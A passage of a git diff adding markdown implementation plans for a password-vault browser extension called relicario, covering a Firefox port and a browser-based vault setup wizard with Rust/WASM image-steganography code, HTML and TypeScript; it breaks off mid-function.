// Firefox: background script — dynamic init works
|
||||
const wasmUrl = chrome.runtime.getURL('relicario_wasm_bg.wasm');
|
||||
await initDefault(wasmUrl);
|
||||
}
|
||||
|
||||
vault.setWasm(wasmBindings);
|
||||
wasm = wasmBindings;
|
||||
wasmReady = true;
|
||||
return wasm;
|
||||
}
|
||||
```
|
||||
|
||||
- [ ] **Step 2: Update the module doc comment**
|
||||
|
||||
Change the doc comment at the top of the file (line 1) from:
|
||||
|
||||
```typescript
|
||||
/// Service worker entry point for the relicario Chrome extension.
|
||||
```
|
||||
|
||||
To:
|
||||
|
||||
```typescript
|
||||
/// Background script entry point for the relicario browser extension.
|
||||
///
|
||||
/// In Chrome this runs as a service worker (MV3). In Firefox this runs
|
||||
/// as a persistent background script. WASM loading adapts automatically.
|
||||
```
|
||||
|
||||
- [ ] **Step 3: Build both targets**
|
||||
|
||||
```bash
|
||||
cd extension && bun run build && bun run build:firefox
|
||||
```
|
||||
|
||||
Expected: Both builds succeed with 0 errors.
|
||||
|
||||
- [ ] **Step 4: Commit**
|
||||
|
||||
```bash
|
||||
git add extension/src/service-worker/index.ts
|
||||
git commit -m "feat: add environment-aware WASM loading for Chrome/Firefox"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 3: Build and Manual Test
|
||||
|
||||
**Files:** None (integration testing)
|
||||
|
||||
- [ ] **Step 1: Verify Chrome build still works**
|
||||
|
||||
```bash
|
||||
cd extension && bun run build
|
||||
```
|
||||
|
||||
Expected: `dist/` output, 0 errors. Reload in Chrome — unlock, list, autofill all work.
|
||||
|
||||
- [ ] **Step 2: Build Firefox**
|
||||
|
||||
```bash
|
||||
bun run build:firefox
|
||||
```
|
||||
|
||||
Expected: `dist-firefox/` output with `manifest.json` (Firefox version), all JS bundles, WASM files, icons.
|
||||
|
||||
- [ ] **Step 3: Verify Firefox manifest**
|
||||
|
||||
```bash
|
||||
cat dist-firefox/manifest.json | grep -E "gecko|background"
|
||||
```
|
||||
|
||||
Expected: `browser_specific_settings.gecko.id` present, `background.scripts` (not `service_worker`).
|
||||
|
||||
- [ ] **Step 4: Load in Firefox**
|
||||
|
||||
1. Open Firefox
|
||||
2. Navigate to `about:debugging#/runtime/this-firefox`
|
||||
3. Click "Load Temporary Add-on..."
|
||||
4. Select `extension/dist-firefox/manifest.json`
|
||||
5. Extension icon appears in toolbar
|
||||
|
||||
- [ ] **Step 5: Test basic flow**
|
||||
|
||||
1. Click extension icon — popup opens, shows setup prompt (or unlock if already configured)
|
||||
2. Open `setup.html` via the setup button — full-page wizard loads
|
||||
3. Configure vault (or verify it's already configured from Chrome)
|
||||
4. Unlock with passphrase — entry list appears
|
||||
5. Navigate entries, check TOTP countdown works
|
||||
6. Visit a login page — field icon appears
|
||||
7. Test autofill
|
||||
8. If credential capture is enabled, test save prompt appears on form submit
|
||||
|
||||
- [ ] **Step 6: Fix any Firefox-specific issues**
|
||||
|
||||
- [ ] **Step 7: Final commit**
|
||||
|
||||
```bash
|
||||
git add -A
|
||||
git commit -m "feat: complete Firefox extension port"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task Summary
|
||||
|
||||
| Task | Description | Dependencies |
|
||||
|------|-------------|--------------|
|
||||
| 1 | Firefox manifest + webpack config + scripts | None |
|
||||
| 2 | Environment-aware WASM loading | None |
|
||||
| 3 | Build and manual test | Tasks 1, 2 |
|
||||
|
||||
Tasks 1 and 2 are independent and can run in parallel.
|
||||
955
docs/superpowers/plans/2026-04-12-relicario-init-wizard.md
Normal file
955
docs/superpowers/plans/2026-04-12-relicario-init-wizard.md
Normal file
@@ -0,0 +1,955 @@
|
||||
# relicario Vault Initialization Wizard Implementation Plan
|
||||
|
||||
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
|
||||
|
||||
**Goal:** Build a browser-based wizard that creates a new relicario vault, pushes it to Gitea/GitHub via API, downloads the reference image, and optionally configures the Chrome extension.
|
||||
|
||||
**Architecture:** Single HTML page (`extension/setup.html`) bundled by webpack as a new entry point. Reuses the existing git API layer and WASM module. New `embed_image_secret` function added to the WASM crate. The wizard runs entirely client-side — all crypto happens in the browser via WASM.
|
||||
|
||||
**Tech Stack:** TypeScript, wasm-bindgen (existing WASM crate), webpack, Chrome extension APIs
|
||||
|
||||
**Spec:** `docs/superpowers/specs/2026-04-12-relicario-init-wizard-design.md`
|
||||
|
||||
---
|
||||
|
||||
## File Structure
|
||||
|
||||
### Rust (modified)
|
||||
|
||||
```
|
||||
crates/relicario-wasm/src/lib.rs # Add embed_image_secret function
|
||||
```
|
||||
|
||||
### Extension (new)
|
||||
|
||||
```
|
||||
extension/
|
||||
├── setup.html # Standalone wizard page
|
||||
└── src/
|
||||
└── setup/
|
||||
└── setup.ts # 4-step wizard logic
|
||||
```
|
||||
|
||||
### Extension (modified)
|
||||
|
||||
```
|
||||
extension/webpack.config.js # Add 'setup' entry point + copy setup.html
|
||||
extension/manifest.json # Add web_accessible_resources for setup.html
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 1: Add `embed_image_secret` to WASM Crate
|
||||
|
||||
**Files:**
|
||||
- Modify: `crates/relicario-wasm/src/lib.rs`
|
||||
|
||||
- [ ] **Step 1: Write the test**
|
||||
|
||||
Add to the `#[cfg(test)] mod tests` block in `crates/relicario-wasm/src/lib.rs`:
|
||||
|
||||
```rust
|
||||
#[test]
|
||||
fn embed_then_extract_round_trip() {
|
||||
// Create a synthetic test JPEG (same approach as relicario-core tests)
|
||||
use image::codecs::jpeg::JpegEncoder;
|
||||
use image::{ImageBuffer, ImageEncoder, Rgb};
|
||||
|
||||
let img = ImageBuffer::from_fn(400, 300, |x, y| {
|
||||
Rgb([
|
||||
((x * 7 + y * 13) % 256) as u8,
|
||||
((x * 11 + y * 3) % 256) as u8,
|
||||
((x * 5 + y * 17) % 256) as u8,
|
||||
])
|
||||
});
|
||||
let mut jpeg_buf = Vec::new();
|
||||
let encoder = JpegEncoder::new_with_quality(&mut jpeg_buf, 92);
|
||||
encoder
|
||||
.write_image(img.as_raw(), 400, 300, image::ExtendedColorType::Rgb8)
|
||||
.unwrap();
|
||||
|
||||
let secret = [0xDE, 0xAD, 0xBE, 0xEF, 0x01, 0x02, 0x03, 0x04,
|
||||
0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C,
|
||||
0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14,
|
||||
0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1Cu8];
|
||||
|
||||
let stego = embed_image_secret(&jpeg_buf, &secret).unwrap();
|
||||
let extracted = extract_image_secret(&stego).unwrap();
|
||||
assert_eq!(extracted, secret);
|
||||
}
|
||||
```
|
||||
|
||||
- [ ] **Step 2: Run test to verify it fails**
|
||||
|
||||
Run: `cargo test -p relicario-wasm embed_then_extract`
|
||||
Expected: FAIL — `embed_image_secret` not defined.
|
||||
|
||||
- [ ] **Step 3: Add `image` dev-dependency to Cargo.toml**
|
||||
|
||||
Add to `crates/relicario-wasm/Cargo.toml` under `[dev-dependencies]`:
|
||||
|
||||
```toml
|
||||
[dev-dependencies]
|
||||
wasm-bindgen-test = "0.3"
|
||||
image = { version = "0.25", default-features = false, features = ["jpeg"] }
|
||||
```
|
||||
|
||||
- [ ] **Step 4: Implement the function**
|
||||
|
||||
Add to `crates/relicario-wasm/src/lib.rs`, after the `extract_image_secret` function:
|
||||
|
||||
```rust
|
||||
/// Embed a 256-bit secret into a carrier JPEG image.
|
||||
///
|
||||
/// Takes the raw bytes of a JPEG image and a 32-byte secret, returns the
|
||||
/// modified JPEG with the secret embedded via DCT steganography.
|
||||
///
|
||||
/// The returned JPEG should be saved as the "reference image" — the user
|
||||
/// needs it alongside their passphrase to unlock the vault.
|
||||
#[wasm_bindgen]
|
||||
pub fn embed_image_secret(carrier_jpeg: &[u8], secret: &[u8]) -> Result<Vec<u8>, JsValue> {
|
||||
let secret: [u8; 32] = secret
|
||||
.try_into()
|
||||
.map_err(|_| JsValue::from_str("secret must be exactly 32 bytes"))?;
|
||||
relicario_core::imgsecret::embed(carrier_jpeg, &secret)
|
||||
.map_err(|e| JsValue::from_str(&e.to_string()))
|
||||
}
|
||||
```
|
||||
|
||||
- [ ] **Step 5: Run test to verify it passes**
|
||||
|
||||
Run: `cargo test -p relicario-wasm embed_then_extract`
|
||||
Expected: PASS
|
||||
|
||||
- [ ] **Step 6: Rebuild WASM**
|
||||
|
||||
Run: `wasm-pack build crates/relicario-wasm --target web --out-dir ../../extension/wasm`
|
||||
Expected: Builds successfully.
|
||||
|
||||
- [ ] **Step 7: Commit**
|
||||
|
||||
```bash
|
||||
git add crates/relicario-wasm/src/lib.rs crates/relicario-wasm/Cargo.toml
|
||||
git commit -m "feat: add embed_image_secret to WASM crate"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 2: Add WASM Type Declaration for New Function
|
||||
|
||||
**Files:**
|
||||
- Modify: `extension/src/wasm.d.ts`
|
||||
|
||||
- [ ] **Step 1: Add the type declaration**
|
||||
|
||||
Add to `extension/src/wasm.d.ts` alongside the existing declarations:
|
||||
|
||||
```typescript
|
||||
export function embed_image_secret(carrier_jpeg: Uint8Array, secret: Uint8Array): Uint8Array;
|
||||
```
|
||||
|
||||
- [ ] **Step 2: Commit**
|
||||
|
||||
```bash
|
||||
git add extension/src/wasm.d.ts
|
||||
git commit -m "feat: add embed_image_secret type declaration"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 3: Create Setup Page HTML
|
||||
|
||||
**Files:**
|
||||
- Create: `extension/setup.html`
|
||||
|
||||
- [ ] **Step 1: Create the HTML file**
|
||||
|
||||
Create `extension/setup.html`:
|
||||
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>relicario — vault setup</title>
|
||||
<link rel="stylesheet" href="styles.css">
|
||||
<style>
|
||||
/* Override popup constraints for full-page layout */
|
||||
body {
|
||||
width: auto;
|
||||
min-height: 100vh;
|
||||
max-height: none;
|
||||
overflow-y: auto;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
padding: 40px 20px;
|
||||
}
|
||||
#app {
|
||||
max-width: 560px;
|
||||
width: 100%;
|
||||
}
|
||||
.step-instructions {
|
||||
background: #161b22;
|
||||
border: 1px solid #30363d;
|
||||
border-radius: 4px;
|
||||
padding: 16px;
|
||||
margin: 12px 0;
|
||||
font-size: 12px;
|
||||
line-height: 1.8;
|
||||
}
|
||||
.step-instructions ol {
|
||||
padding-left: 20px;
|
||||
}
|
||||
.step-instructions li {
|
||||
margin-bottom: 4px;
|
||||
}
|
||||
.step-instructions code {
|
||||
background: #0d1117;
|
||||
padding: 1px 4px;
|
||||
border-radius: 2px;
|
||||
color: #58a6ff;
|
||||
}
|
||||
.image-preview {
|
||||
max-width: 200px;
|
||||
max-height: 150px;
|
||||
border: 1px solid #30363d;
|
||||
border-radius: 2px;
|
||||
margin-top: 8px;
|
||||
}
|
||||
.strength-bar {
|
||||
height: 3px;
|
||||
background: #21262d;
|
||||
margin-top: 4px;
|
||||
border-radius: 2px;
|
||||
}
|
||||
.strength-bar-fill {
|
||||
height: 3px;
|
||||
border-radius: 2px;
|
||||
transition: width 0.3s, background 0.3s;
|
||||
}
|
||||
.success-box {
|
||||
background: #0d1117;
|
||||
border: 1px solid #3fb950;
|
||||
border-radius: 4px;
|
||||
padding: 16px;
|
||||
margin: 12px 0;
|
||||
}
|
||||
.config-blob {
|
||||
background: #161b22;
|
||||
border: 1px solid #30363d;
|
||||
border-radius: 4px;
|
||||
padding: 12px;
|
||||
font-size: 11px;
|
||||
word-break: break-all;
|
||||
margin-top: 8px;
|
||||
cursor: pointer;
|
||||
}
|
||||
.config-blob:hover {
|
||||
border-color: #58a6ff;
|
||||
}
|
||||
.test-result {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 6px;
|
||||
margin-top: 6px;
|
||||
font-size: 11px;
|
||||
}
|
||||
.test-ok { color: #3fb950; }
|
||||
.test-fail { color: #f85149; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div id="app"></div>
|
||||
<script src="setup.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
- [ ] **Step 2: Commit**
|
||||
|
||||
```bash
|
||||
git add extension/setup.html
|
||||
git commit -m "feat: add setup wizard HTML page"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 4: Create Setup Wizard TypeScript
|
||||
|
||||
**Files:**
|
||||
- Create: `extension/src/setup/setup.ts`
|
||||
|
||||
This is the main task. The wizard is a 4-step state machine that reuses the existing git API layer and WASM module.
|
||||
|
||||
- [ ] **Step 1: Create the setup wizard**
|
||||
|
||||
Create `extension/src/setup/setup.ts`:
|
||||
|
||||
```typescript
|
||||
/// Standalone vault initialization wizard.
|
||||
///
|
||||
/// 4-step flow:
|
||||
/// 1. Choose git host (Gitea/GitHub) with setup instructions
|
||||
/// 2. Configure connection (URL, repo, token) with test button
|
||||
/// 3. Create vault (carrier image, passphrase, generate + push)
|
||||
/// 4. Finish (download reference image, push config to extension)
|
||||
|
||||
import { createGitHost, uint8ArrayToBase64, base64ToUint8Array } from '../service-worker/git-host';
|
||||
import type { GitHost } from '../service-worker/git-host';
|
||||
import type { VaultConfig } from '../shared/types';
|
||||
|
||||
// --- State ---
|
||||
|
||||
interface WizardState {
|
||||
step: number;
|
||||
hostType: 'gitea' | 'github';
|
||||
hostUrl: string;
|
||||
repoPath: string;
|
||||
apiToken: string;
|
||||
connectionTested: boolean;
|
||||
carrierImageBytes: Uint8Array | null;
|
||||
carrierImageName: string;
|
||||
passphrase: string;
|
||||
passphraseConfirm: string;
|
||||
referenceImageBytes: Uint8Array | null;
|
||||
creating: boolean;
|
||||
error: string;
|
||||
extensionDetected: boolean;
|
||||
configPushed: boolean;
|
||||
}
|
||||
|
||||
let state: WizardState = {
|
||||
step: 1,
|
||||
hostType: 'gitea',
|
||||
hostUrl: '',
|
||||
repoPath: '',
|
||||
apiToken: '',
|
||||
connectionTested: false,
|
||||
carrierImageBytes: null,
|
||||
carrierImageName: '',
|
||||
passphrase: '',
|
||||
passphraseConfirm: '',
|
||||
referenceImageBytes: null,
|
||||
creating: false,
|
||||
error: '',
|
||||
extensionDetected: false,
|
||||
configPushed: false,
|
||||
};
|
||||
|
||||
// --- WASM ---
|
||||
|
||||
type WasmModule = typeof import('relicario-wasm');
|
||||
let wasm: WasmModule | null = null;
|
||||
|
||||
async function initWasm(): Promise<WasmModule> {
|
||||
if (wasm) return wasm;
|
||||
const mod = await import(/* webpackIgnore: true */ '../relicario_wasm.js');
|
||||
await mod.default();
|
||||
wasm = mod;
|
||||
return mod;
|
||||
}
|
||||
|
||||
// --- Helpers ---
|
||||
|
||||
function escapeHtml(s: string): string {
|
||||
const div = document.createElement('div');
|
||||
div.textContent = s;
|
||||
return div.innerHTML;
|
||||
}
|
||||
|
||||
function passwordStrength(pw: string): { label: string; color: string; pct: number } {
|
||||
if (pw.length < 8) return { label: 'too short', color: '#f85149', pct: 10 };
|
||||
let score = 0;
|
||||
if (pw.length >= 12) score++;
|
||||
if (pw.length >= 16) score++;
|
||||
if (/[a-z]/.test(pw) && /[A-Z]/.test(pw)) score++;
|
||||
if (/[0-9]/.test(pw)) score++;
|
||||
if (/[^a-zA-Z0-9]/.test(pw)) score++;
|
||||
if (score <= 1) return { label: 'weak', color: '#f85149', pct: 30 };
|
||||
if (score <= 3) return { label: 'ok', color: '#d29922', pct: 60 };
|
||||
return { label: 'strong', color: '#3fb950', pct: 100 };
|
||||
}
|
||||
|
||||
// --- Render ---
|
||||
|
||||
function render(): void {
|
||||
const app = document.getElementById('app')!;
|
||||
const stepNames = ['git host', 'connection', 'create vault', 'done'];
|
||||
|
||||
let html = `
|
||||
<div class="brand" style="font-size:18px;margin-bottom:4px">relicario setup</div>
|
||||
<div class="wizard-step">step ${state.step} of 4 — ${stepNames[state.step - 1]}</div>
|
||||
<div class="progress-bar"><div class="progress-bar-fill" style="width:${(state.step / 4) * 100}%"></div></div>
|
||||
`;
|
||||
|
||||
if (state.error) {
|
||||
html += `<div class="error" style="margin-bottom:12px">${escapeHtml(state.error)}</div>`;
|
||||
}
|
||||
|
||||
switch (state.step) {
|
||||
case 1: html += renderStep1(); break;
|
||||
case 2: html += renderStep2(); break;
|
||||
case 3: html += renderStep3(); break;
|
||||
case 4: html += renderStep4(); break;
|
||||
}
|
||||
|
||||
app.innerHTML = html;
|
||||
attachListeners();
|
||||
}
|
||||
|
||||
// --- Step 1: Choose Git Host ---
|
||||
|
||||
function renderStep1(): string {
|
||||
return `
|
||||
<div class="form-group" style="margin-top:16px">
|
||||
<div class="label">HOST TYPE</div>
|
||||
<div class="host-toggle" style="display:flex;gap:8px;margin-top:4px">
|
||||
<button class="group-tab ${state.hostType === 'gitea' ? 'active' : ''}" data-action="host" data-host="gitea">gitea</button>
|
||||
<button class="group-tab ${state.hostType === 'github' ? 'active' : ''}" data-action="host" data-host="github">github</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="step-instructions">
|
||||
${state.hostType === 'gitea' ? `
|
||||
<div class="label" style="margin-bottom:8px">GITEA SETUP</div>
|
||||
<ol>
|
||||
<li>Log in to your Gitea instance</li>
|
||||
<li>Click <code>+</code> → <code>New Repository</code></li>
|
||||
<li>Name it (e.g. <code>relicario-vault</code>), leave it <strong>empty</strong> — no README, no .gitignore</li>
|
||||
<li>Go to <code>Settings</code> → <code>Applications</code> → <code>Manage Access Tokens</code></li>
|
||||
<li>Generate a new token with <code>repo</code> scope (read/write)</li>
|
||||
<li>Copy the token — you'll need it in the next step</li>
|
||||
</ol>
|
||||
` : `
|
||||
<div class="label" style="margin-bottom:8px">GITHUB SETUP</div>
|
||||
<ol>
|
||||
<li>Go to <strong>github.com</strong> → <code>New Repository</code></li>
|
||||
<li>Name it (e.g. <code>relicario-vault</code>), set to <strong>Private</strong>, leave it <strong>empty</strong> — no README, no .gitignore, no license</li>
|
||||
<li>Go to <code>Settings</code> → <code>Developer Settings</code> → <code>Personal Access Tokens</code> → <code>Fine-grained tokens</code></li>
|
||||
<li>Click <code>Generate new token</code></li>
|
||||
<li>Select <strong>only</strong> the vault repository under "Repository access"</li>
|
||||
<li>Under Permissions → Repository → <code>Contents</code>: set to <strong>Read and write</strong></li>
|
||||
<li>Generate and copy the token</li>
|
||||
</ol>
|
||||
`}
|
||||
</div>
|
||||
|
||||
<div class="actions">
|
||||
<button class="btn btn-primary" data-action="next">Next →</button>
|
||||
</div>
|
||||
`;
|
||||
}
|
||||
|
||||
// --- Step 2: Configure Connection ---
|
||||
|
||||
function renderStep2(): string {
|
||||
const defaultUrl = state.hostType === 'github' ? 'https://github.com' : '';
|
||||
|
||||
return `
|
||||
<div class="form-group" style="margin-top:16px">
|
||||
<div class="label">HOST URL</div>
|
||||
<input type="text" id="host-url" value="${escapeHtml(state.hostUrl || defaultUrl)}" placeholder="${state.hostType === 'gitea' ? 'https://git.example.com' : 'https://github.com'}">
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<div class="label">REPO PATH</div>
|
||||
<input type="text" id="repo-path" value="${escapeHtml(state.repoPath)}" placeholder="owner/repo-name">
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<div class="label">API TOKEN</div>
|
||||
<input type="password" id="api-token" value="${escapeHtml(state.apiToken)}" placeholder="Paste your token">
|
||||
</div>
|
||||
<div id="test-result"></div>
|
||||
<div class="actions">
|
||||
<button class="btn" data-action="back">← Back</button>
|
||||
<button class="btn" data-action="test-connection">Test Connection</button>
|
||||
<button class="btn btn-primary" data-action="next" ${!state.connectionTested ? 'disabled' : ''}>Next →</button>
|
||||
</div>
|
||||
`;
|
||||
}
|
||||
|
||||
// --- Step 3: Create Vault ---
|
||||
|
||||
function renderStep3(): string {
|
||||
const strength = state.passphrase ? passwordStrength(state.passphrase) : null;
|
||||
const mismatch = state.passphraseConfirm && state.passphrase !== state.passphraseConfirm;
|
||||
|
||||
return `
|
||||
<div class="form-group" style="margin-top:16px">
|
||||
<div class="label">CARRIER IMAGE</div>
|
||||
<p class="secondary" style="font-size:11px;margin-bottom:8px">
|
||||
Pick any JPEG photo. A phone photo works great — at least 400x300 pixels.
|
||||
</p>
|
||||
<input type="file" id="carrier-image" accept="image/jpeg" style="font-size:11px">
|
||||
${state.carrierImageName ? `<div class="secondary" style="margin-top:4px;font-size:11px">✓ ${escapeHtml(state.carrierImageName)}</div>` : ''}
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<div class="label">PASSPHRASE</div>
|
||||
<input type="password" id="passphrase" value="${escapeHtml(state.passphrase)}" placeholder="Min 8 characters">
|
||||
${strength ? `
|
||||
<div class="strength-bar"><div class="strength-bar-fill" style="width:${strength.pct}%;background:${strength.color}"></div></div>
|
||||
<div style="font-size:10px;color:${strength.color};margin-top:2px">${strength.label}</div>
|
||||
` : ''}
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<div class="label">CONFIRM PASSPHRASE</div>
|
||||
<input type="password" id="passphrase-confirm" value="${escapeHtml(state.passphraseConfirm)}" placeholder="Type it again">
|
||||
${mismatch ? '<div class="error" style="margin-top:2px">Passphrases do not match</div>' : ''}
|
||||
</div>
|
||||
<div class="actions">
|
||||
<button class="btn" data-action="back">← Back</button>
|
||||
<button class="btn btn-primary" data-action="create-vault" ${state.creating ? 'disabled' : ''}>
|
||||
${state.creating ? '<span class="spinner"></span> Creating...' : 'Create Vault'}
|
||||
</button>
|
||||
</div>
|
||||
`;
|
||||
}
|
||||
|
||||
// --- Step 4: Finish ---
|
||||
|
||||
function renderStep4(): string {
|
||||
return `
|
||||
<div class="success-box" style="margin-top:16px">
|
||||
<div style="color:#3fb950;font-size:14px;margin-bottom:8px">✓ Vault created</div>
|
||||
<p class="secondary" style="font-size:12px">
|
||||
Your vault has been pushed to <strong>${escapeHtml(state.repoPath)}</strong>.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<div class="label">REFERENCE IMAGE</div>
|
||||
<p class="secondary" style="font-size:11px;margin-bottom:8px">
|
||||
Download this image and keep it safe. You need it alongside your passphrase to unlock the vault.
|
||||
Store it somewhere you won't lose it — a USB drive, a safe, your phone's photo library.
|
||||
</p>
|
||||
<button class="btn btn-primary" data-action="download-image">Download reference.jpg</button>
|
||||
</div>
|
||||
|
||||
${state.extensionDetected ? `
|
||||
<div class="form-group" style="margin-top:16px">
|
||||
<div class="label">EXTENSION</div>
|
||||
${state.configPushed ? `
|
||||
<p class="secondary" style="font-size:11px;color:#3fb950">
|
||||
✓ Extension configured. Open the extension popup and enter your passphrase to unlock.
|
||||
</p>
|
||||
` : `
|
||||
<p class="secondary" style="font-size:11px;margin-bottom:8px">
|
||||
relicario extension detected. Push your vault config to it?
|
||||
</p>
|
||||
<button class="btn" data-action="push-to-extension">Configure Extension</button>
|
||||
`}
|
||||
</div>
|
||||
` : `
|
||||
<div class="form-group" style="margin-top:16px">
|
||||
<div class="label">EXTENSION SETUP</div>
|
||||
<p class="secondary" style="font-size:11px;margin-bottom:8px">
|
||||
Install the relicario extension, then enter these details in the setup wizard:
|
||||
</p>
|
||||
<div class="config-blob" data-action="copy-config" title="Click to copy">
|
||||
${escapeHtml(JSON.stringify({
|
||||
hostType: state.hostType,
|
||||
hostUrl: state.hostUrl,
|
||||
repoPath: state.repoPath,
|
||||
apiToken: state.apiToken,
|
||||
}, null, 2))}
|
||||
</div>
|
||||
<div class="secondary" style="font-size:10px;margin-top:4px">Click to copy</div>
|
||||
</div>
|
||||
`}
|
||||
`;
|
||||
}
|
||||
|
||||
// --- Event Listeners ---
|
||||
|
||||
function attachListeners(): void {
|
||||
// Host type toggle
|
||||
document.querySelectorAll('[data-action="host"]').forEach(btn => {
|
||||
btn.addEventListener('click', () => {
|
||||
state.hostType = (btn as HTMLElement).dataset.host as 'gitea' | 'github';
|
||||
state.connectionTested = false;
|
||||
render();
|
||||
});
|
||||
});
|
||||
|
||||
// Navigation
|
||||
document.querySelectorAll('[data-action="next"]').forEach(btn => {
|
||||
btn.addEventListener('click', () => {
|
||||
readInputs();
|
||||
state.error = '';
|
||||
state.step++;
|
||||
render();
|
||||
});
|
||||
});
|
||||
|
||||
document.querySelectorAll('[data-action="back"]').forEach(btn => {
|
||||
btn.addEventListener('click', () => {
|
||||
readInputs();
|
||||
state.error = '';
|
||||
state.step--;
|
||||
render();
|
||||
});
|
||||
});
|
||||
|
||||
// Test connection
|
||||
document.querySelector('[data-action="test-connection"]')?.addEventListener('click', async () => {
|
||||
readInputs();
|
||||
state.error = '';
|
||||
|
||||
if (!state.hostUrl || !state.repoPath || !state.apiToken) {
|
||||
state.error = 'All fields are required';
|
||||
render();
|
||||
return;
|
||||
}
|
||||
|
||||
const resultEl = document.getElementById('test-result')!;
|
||||
resultEl.innerHTML = '<div class="test-result"><span class="spinner"></span> Testing...</div>';
|
||||
|
||||
try {
|
||||
const git = createGitHost(state.hostType, state.hostUrl, state.repoPath, state.apiToken);
|
||||
// Try to list the root directory — if the repo exists and token works, this succeeds
|
||||
await git.listDir('');
|
||||
state.connectionTested = true;
|
||||
resultEl.innerHTML = '<div class="test-result test-ok">✓ Connected</div>';
|
||||
// Re-render to enable Next button
|
||||
const nextBtn = document.querySelector('[data-action="next"]') as HTMLButtonElement;
|
||||
if (nextBtn) nextBtn.disabled = false;
|
||||
} catch (err) {
|
||||
state.connectionTested = false;
|
||||
resultEl.innerHTML = `<div class="test-result test-fail">✗ ${escapeHtml(String(err))}</div>`;
|
||||
}
|
||||
});
|
||||
|
||||
// Carrier image file picker
|
||||
document.getElementById('carrier-image')?.addEventListener('change', (e) => {
|
||||
const input = e.target as HTMLInputElement;
|
||||
const file = input.files?.[0];
|
||||
if (!file) return;
|
||||
|
||||
const reader = new FileReader();
|
||||
reader.onload = () => {
|
||||
const arrayBuf = reader.result as ArrayBuffer;
|
||||
state.carrierImageBytes = new Uint8Array(arrayBuf);
|
||||
state.carrierImageName = file.name;
|
||||
render();
|
||||
};
|
||||
reader.readAsArrayBuffer(file);
|
||||
});
|
||||
|
||||
// Passphrase inputs (read on change, re-render for strength indicator)
|
||||
document.getElementById('passphrase')?.addEventListener('input', (e) => {
|
||||
state.passphrase = (e.target as HTMLInputElement).value;
|
||||
// Only re-render the strength indicator, not the whole page (avoids losing focus)
|
||||
const strength = passwordStrength(state.passphrase);
|
||||
const bar = document.querySelector('.strength-bar-fill') as HTMLElement;
|
||||
if (bar) {
|
||||
bar.style.width = `${strength.pct}%`;
|
||||
bar.style.background = strength.color;
|
||||
}
|
||||
const label = bar?.parentElement?.nextElementSibling as HTMLElement;
|
||||
if (label) {
|
||||
label.textContent = strength.label;
|
||||
label.style.color = strength.color;
|
||||
}
|
||||
});
|
||||
|
||||
document.getElementById('passphrase-confirm')?.addEventListener('input', (e) => {
|
||||
state.passphraseConfirm = (e.target as HTMLInputElement).value;
|
||||
});
|
||||
|
||||
// Create vault
|
||||
document.querySelector('[data-action="create-vault"]')?.addEventListener('click', async () => {
|
||||
readInputs();
|
||||
state.error = '';
|
||||
|
||||
// Validation
|
||||
if (!state.carrierImageBytes) {
|
||||
state.error = 'Select a carrier image';
|
||||
render();
|
||||
return;
|
||||
}
|
||||
if (state.passphrase.length < 8) {
|
||||
state.error = 'Passphrase must be at least 8 characters';
|
||||
render();
|
||||
return;
|
||||
}
|
||||
if (state.passphrase !== state.passphraseConfirm) {
|
||||
state.error = 'Passphrases do not match';
|
||||
render();
|
||||
return;
|
||||
}
|
||||
|
||||
state.creating = true;
|
||||
render();
|
||||
|
||||
try {
|
||||
await createVault();
|
||||
state.creating = false;
|
||||
|
||||
// Detect extension
|
||||
state.extensionDetected = await detectExtension();
|
||||
|
||||
state.step = 4;
|
||||
render();
|
||||
} catch (err) {
|
||||
state.creating = false;
|
||||
state.error = `Vault creation failed: ${String(err)}`;
|
||||
render();
|
||||
}
|
||||
});
|
||||
|
||||
// Download reference image
|
||||
document.querySelector('[data-action="download-image"]')?.addEventListener('click', () => {
|
||||
if (!state.referenceImageBytes) return;
|
||||
const blob = new Blob([state.referenceImageBytes], { type: 'image/jpeg' });
|
||||
const url = URL.createObjectURL(blob);
|
||||
const a = document.createElement('a');
|
||||
a.href = url;
|
||||
a.download = 'reference.jpg';
|
||||
a.click();
|
||||
URL.revokeObjectURL(url);
|
||||
});
|
||||
|
||||
// Push config to extension
|
||||
document.querySelector('[data-action="push-to-extension"]')?.addEventListener('click', async () => {
|
||||
try {
|
||||
const config: VaultConfig = {
|
||||
hostType: state.hostType,
|
||||
hostUrl: state.hostUrl,
|
||||
repoPath: state.repoPath,
|
||||
apiToken: state.apiToken,
|
||||
};
|
||||
const imageBase64 = uint8ArrayToBase64(state.referenceImageBytes!);
|
||||
|
||||
chrome.runtime.sendMessage(
|
||||
{ type: 'save_setup', config, imageBase64 },
|
||||
(response) => {
|
||||
if (response?.ok) {
|
||||
state.configPushed = true;
|
||||
render();
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch {
|
||||
state.error = 'Failed to push config to extension';
|
||||
render();
|
||||
}
|
||||
});
|
||||
|
||||
// Copy config blob
|
||||
document.querySelector('[data-action="copy-config"]')?.addEventListener('click', async () => {
|
||||
const config = JSON.stringify({
|
||||
hostType: state.hostType,
|
||||
hostUrl: state.hostUrl,
|
||||
repoPath: state.repoPath,
|
||||
apiToken: state.apiToken,
|
